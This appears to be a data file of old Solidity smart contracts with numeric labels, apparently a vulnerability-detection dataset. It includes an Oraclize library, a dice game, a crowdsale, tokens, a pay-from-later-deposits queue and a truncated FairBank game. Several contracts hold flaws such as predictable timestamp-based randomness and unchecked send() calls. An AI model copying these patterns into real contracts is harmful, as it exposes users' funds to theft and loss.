b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal constant returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal constant returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract cosmicDice is usingOraclize, Mortal {
uint constant minbet = 0.01 ether;
uint constant maxbet = 1 ether;
uint public totalPlayCount = 0;
mapping(address => uint) public playerPlayCount;
mapping(uint => address) public player;
mapping(address => uint) public ln;
mapping(address => uint) public prn;
mapping(address => uint) public trn;
mapping(address => uint) public crn;
mapping(address => uint) public payout;
mapping(address => uint) public nval;
mapping(address => uint) public multiplier;
uint public bl;
function cosmicDice() public payable {
}
function() public payable {
}
function deposit() public payable {
}
function withdraw(uint _withdrawAmount) public {
require(msg.sender == owner);
msg.sender.transfer(_withdrawAmount);
}
event message(string result, uint ln, uint crn);
function play(uint _luckynum, uint _trueRand, uint _nval) payable {
require(msg.value >= minbet && msg.value <= maxbet);
require(_nval==2||_nval==6||_nval==10||_nval==20||_nval==50||_nval==100||_nval==500||_nval==1000);
totalPlayCount ++;
update();
bl = uint(sha3(block.timestamp));
player[totalPlayCount] = msg.sender;
playerPlayCount[player[totalPlayCount]] ++;
if (_nval == 2) {
multiplier[player[totalPlayCount]] = (300*_nval)/4;
}
else {
multiplier[player[totalPlayCount]] = 100*_nval/2;
}
nval[player[totalPlayCount]] = _nval;
payout[player[totalPlayCount]] = (msg.value * multiplier[player[totalPlayCount]])/100;
ln[player[totalPlayCount]] = _luckynum;
trn[player[totalPlayCount]] = _trueRand;
prn[player[totalPlayCount]] = randnum;
crn[player[totalPlayCount]] = ((trn[player[totalPlayCount]] + prn[player[totalPlayCount]] + bl) % nval[player[totalPlayCount]]) + 1;
compareNums();
}
function compareNums() private {
if (ln[player[totalPlayCount]] == crn[player[totalPlayCount]]) {
emit message("Congratulations, you win!", ln[player[totalPlayCount]], crn[player[totalPlayCount]]);
player[totalPlayCount].transfer(payout[player[totalPlayCount]]);
payout[player[totalPlayCount]] = 0;
}
else {
emit message("Sorry, try again.", ln[player[totalPlayCount]], crn[player[totalPlayCount]]);
}
}
uint public randnum;
uint public gasPrice;
event newOraclizeQuery(string description);
event newRandNum(string rnum);
function setCustomGasPrice(uint _gasPrice) public payable{
require(msg.sender == owner);
gasPrice = _gasPrice;
oraclize_setCustomGasPrice(gasPrice);
}
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress()) revert();
emit newRandNum(result);
randnum = parseInt(result);
}
function update() payable {
emit newOraclizeQuery("Oraclize query was sent, standing by for the answer..");
oraclize_query("WolframAlpha", "random number between 1 and 10");
}
} | 0 | 2,489 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 wei;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 wei;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 3,730 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
bool public transfersEnabledFlag;
modifier transfersEnabled() {
require(transfersEnabledFlag);
_;
}
function enableTransfers() public onlyOwner {
transfersEnabledFlag = true;
}
function transfer(address _to, uint256 _value) transfersEnabled public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _addresses, uint256[] _value) public returns (bool) {
for (uint256 i = 0; i < _addresses.length; i++) {
require(transfer(_addresses[i], _value[i]));
}
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) transfersEnabled public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) transfersEnabled public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) transfersEnabled public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) transfersEnabled public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
mapping(address => bool) public minters;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlyMinters() {
require(minters[msg.sender] || msg.sender == owner);
_;
}
function addMinter(address _addr) public onlyOwner {
minters[_addr] = true;
}
function deleteMinter(address _addr) public onlyOwner {
delete minters[_addr];
}
function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyMinters canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract ParameterizedToken is CappedToken {
string public version = "1.2";
string public name;
string public symbol;
uint256 public decimals;
function ParameterizedToken(string _name, string _symbol, uint256 _decimals, uint256 _capIntPart) public CappedToken(_capIntPart * 10 ** _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract DistributedBank is ParameterizedToken {
function DistributedBank() public ParameterizedToken("Distributed Bank", "DBK", 18, 10000000000) {
}
} | 1 | 3,251 |
pragma solidity ^0.4.25;
interface TwelveHourTokenInterface {
function fallback() external payable;
function buy(address _referredBy) external payable returns (uint256);
function exit() external;
}
contract TwelveHourFastTrain {
address public owner;
address public twelveHourTokenAddress;
TwelveHourTokenInterface public TwelveHourToken;
uint256 constant private THT_TOKEN_OWNERS = 10;
address constant private PROMO = 0xC63eA85CC823c440319013d4B30E19b66466642d;
uint constant public PROMO_PERCENT = 1;
uint constant public MULTIPLIER = 120;
uint constant public MAX_DEPOSIT = 1 ether;
uint constant public MIN_DEPOSIT = 0.05 ether;
uint256 constant public VERIFY_REFERRAL_PRICE = 0.01 ether;
uint256 constant public REFERRAL = 3;
uint constant public LAST_DEPOSIT_PERCENT = 10;
LastDeposit public last;
mapping(address => bool) public referrals;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct LastDeposit {
address depositor;
uint expect;
uint depositTime;
}
Deposit[] public queue;
uint public currentReceiverIndex = 0;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
function setTwelveHourToken(address _addr) public onlyOwner
{
twelveHourTokenAddress = _addr;
TwelveHourToken = TwelveHourTokenInterface(twelveHourTokenAddress);
}
constructor() public
{
owner = msg.sender;
}
function () public payable {
if (msg.sender != twelveHourTokenAddress) invest(0x0);
}
function invest(address _referral) public payable disableContract
{
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.depositTime + 12 hours < now, "Last depositor should wait 12 hours to claim reward");
uint128 money = uint128((address(this).balance));
if(money >= last.expect){
last.depositor.transfer(last.expect);
} else {
last.depositor.transfer(money);
}
delete last;
}
else if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= MIN_DEPOSIT, "Deposit must be >= 0.01 ETH and <= 1 ETH");
uint256 valueDeposit = msg.value;
if(valueDeposit > MAX_DEPOSIT) {
msg.sender.transfer(valueDeposit - MAX_DEPOSIT);
valueDeposit = MAX_DEPOSIT;
}
uint256 _profitTHT = valueDeposit * THT_TOKEN_OWNERS / 100;
sendProfitTHT(_profitTHT);
queue.push(Deposit(msg.sender, uint128(valueDeposit), uint128(valueDeposit*MULTIPLIER/100)));
last.depositor = msg.sender;
last.expect += valueDeposit*LAST_DEPOSIT_PERCENT/100;
last.depositTime = now;
uint promo = valueDeposit*PROMO_PERCENT/100;
PROMO.transfer(promo);
uint devFee = valueDeposit*2/100;
owner.transfer(devFee);
uint256 _referralBonus = valueDeposit * REFERRAL/100;
if (_referral != 0x0 && _referral != msg.sender && referrals[_referral] == true) address(_referral).transfer(_referralBonus);
else owner.transfer(_referralBonus);
pay();
}
}
function pay() private {
uint128 money = uint128((address(this).balance)-last.expect);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function sendProfitTHT(uint256 profitTHT) private
{
buyTHT(calEthSendToTHT(profitTHT));
exitTHT();
}
function exitTHT() private
{
TwelveHourToken.exit();
}
function calEthSendToTHT(uint256 _eth) private pure returns(uint256 _value)
{
_value = _eth * 100 / 64;
}
function buyTHT(uint256 _value) private
{
TwelveHourToken.fallback.value(_value)();
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function verifyReferrals() public payable disableContract
{
require(msg.value >= VERIFY_REFERRAL_PRICE);
referrals[msg.sender] = true;
owner.transfer(msg.value);
}
function getDepositByAddress(address depositor) public view returns (uint256 index, uint256 deposit, uint256 expect) {
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
index = i;
deposit = dep.deposit;
expect = dep.expect;
break;
}
}
}
function getData()public view returns(uint256 _lastDepositBonus, uint256 _endTime, uint256 _currentlyServing, uint256 _queueLength, address _lastAddress) {
_lastDepositBonus = address(this).balance;
_endTime = last.depositTime + 12 hours;
_currentlyServing = currentReceiverIndex;
_queueLength = queue.length;
_lastAddress = last.depositor;
}
} | 1 | 5,155 |
pragma solidity ^0.4.25;
contract ERC721{
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
}
contract FairBank is ERC721{
using SafeMath for uint256;
using NameFilter for string;
address public developerAddr;
string public name = "FairDAPP - Bank Simulator";
string public symbol = "FBank";
uint256 public stageDuration;
uint256 public standardProtectRatio;
bool public activated = false;
bool public modifyCountdown = false;
uint256 public rId;
uint256 public sId;
mapping (uint256 => FBankdatasets.Round) public round;
mapping (uint256 => mapping (uint256 => FBankdatasets.Stage)) public stage;
mapping (address => bytes32) public register;
mapping (bytes32 => address) public playerName;
mapping (address => uint256[]) public playerGoodsList;
mapping (address => uint256[]) public playerWithdrawList;
FairBankCompute constant private bankCompute = FairBankCompute(0x26DA117A72DBcB686c2FCF88c4BFC6110cAe0464);
FBankdatasets.Goods[] public goodsList;
FBankdatasets.Card[6] public cardList;
mapping (uint256 => address) public cardIndexToApproved;
modifier registerVerify() {
require(msg.value == 10000000000000000, "registration fee is 0.01 ether, please set the exact amount");
_;
}
modifier isActivated() {
require(activated == true, "FairBank its not ready yet. check ?eta in discord");
_;
}
modifier isDeveloperAddr() {
require(msg.sender == developerAddr, "Permission denied");
_;
}
modifier modifyCountdownVerify() {
require(modifyCountdown == true, "this feature is not turned on or has been turned off");
_;
}
modifier senderVerify() {
require (msg.sender == tx.origin, "sender does not meet the rules");
_;
}
modifier amountVerify() {
if(msg.value < 1000000000000000){
developerAddr.send(msg.value);
}else{
require(msg.value >= 1000000000000000, "minimum amount is 0.001 ether");
_;
}
}
modifier playerVerify() {
require(playerGoodsList[msg.sender].length > 0, "user has not purchased the product or has completed the withdrawal");
_;
}
modifier stepSizeVerify(uint256 _stepSize) {
require(_stepSize <= 1000000, "step size must not exceed 1000000");
_;
}
constructor()
public
{
developerAddr = msg.sender;
stageDuration = 64800;
standardProtectRatio = 57;
uint256 i;
while(i < cardList.length){
cardList[i].playerAddress = developerAddr;
cardList[i].amount = 5000000000000000000;
i++;
}
}
function registered(string _playerName)
senderVerify()
registerVerify()
payable
public
{
bytes32 _name = _playerName.nameFilter();
require(_name != bytes32(0), "name cannot be empty");
require(playerName[_name] == address(0), "this name has already been registered");
require(register[msg.sender] == bytes32(0), "please do not repeat registration");
playerName[_name] = msg.sender;
register[msg.sender] = _name;
developerAddr.send(msg.value);
}
function activate()
senderVerify()
isDeveloperAddr()
public
{
require(activated == false, "FairBank already activated");
activated = true;
rId = 1;
sId = 1;
round[rId].start = now;
stage[rId][sId].start = now;
}
function openModifyCountdown()
senderVerify()
isDeveloperAddr()
public
{
require(modifyCountdown == false, "Time service is already open");
modifyCountdown = true;
}
function closeModifyCountdown()
senderVerify()
isDeveloperAddr()
public
{
require(modifyCountdown == true, "Time service is already open");
modifyCountdown = false;
}
function purchaseCard(uint256 _cId)
isActivated()
senderVerify()
payable
public
{
address _player = msg.sender;
uint256 _amount = msg.value;
uint256 _purchasePrice = cardList[_cId].amount.mul(110) / 100;
require(
cardList[_cId].playerAddress != address(0)
&& cardList[_cId].playerAddress != _player
&& _amount >= _purchasePrice,
"Failed purchase"
);
if(cardIndexToApproved[_cId] != address(0)){
cardIndexToApproved[_cId].send(
cardList[_cId].amount.mul(105) / 100
);
delete cardIndexToApproved[_cId];
}else
cardList[_cId].playerAddress.send(
cardList[_cId].amount.mul(105) / 100
);
developerAddr.send(cardList[_cId].amount.mul(5) / 100);
if(_amount > _purchasePrice)
_player.send(_amount.sub(_purchasePrice));
cardList[_cId].amount = _purchasePrice;
cardList[_cId].playerAddress = _player;
}
function()
isActivated()
senderVerify()
amountVerify()
payable
public
{
buyAnalysis(100, standardProtectRatio, address(0));
}
function buy(uint256 _stepSize, uint256 _protectRatio, address _recommendAddr)
isActivated()
senderVerify()
amountVerify()
stepSizeVerify(_stepSize)
public
payable
{
buyAnalysis(
_stepSize <= 0 ? 100 : _stepSize,
_protectRatio <= 100 ? _protectRatio : standardProtectRatio,
_recommendAddr
);
}
function buyXname(uint256 _stepSize, uint256 _protectRatio, string _recommendName)
isActivated()
senderVerify()
amountVerify()
stepSizeVerify(_stepSize)
public
payable
{
buyAnalysis(
_stepSize <= 0 ? 100 : _stepSize,
_protectRatio <= 100 ? _protectRatio : standardProtectRatio,
playerName[_recommendName.nameFilter()]
);
}
function withdraw()
isActivated()
senderVerify()
playerVerify()
public
{
address _player = msg.sender;
uint256[] memory _playerGoodsList = playerGoodsList[_player];
uint256 length = _playerGoodsList.length;
uint256 _totalAmount;
uint256 _amount;
uint256 _withdrawSid;
uint256 _reachAmount;
bool _finish;
uint256 i;
delete playerGoodsList[_player];
while(i < length){
